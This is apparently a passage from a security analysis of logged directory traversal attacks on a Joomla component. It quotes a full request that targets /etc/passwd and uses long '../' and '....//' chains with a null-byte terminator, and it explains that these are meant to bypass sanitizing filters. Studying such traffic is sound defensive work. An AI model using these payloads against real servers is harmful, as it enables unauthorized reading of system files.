We received attacks from 16 different IP addresses:

177.19.138.42
189.3.93.242

While these scan examples were rather normal (we have seen these directory traversal attempts many times before for other Joomla components), there was a variation in the directory traversal methods being used. Here are two examples:

69.49.102.173 - - [15/Apr/2012:09:35:36 +0900] "GET //index.php?option=com_s5clanroster&controller=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../..

/....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd%0000 HTTP/1.0" 404 204

A good bet for the use of these techniques are:

  1. The excessively long length is to ensure that the path makes it to "/"
  2. In case there are any sanitizing functions that strip out "../" then the "....//" input would still yield "../"
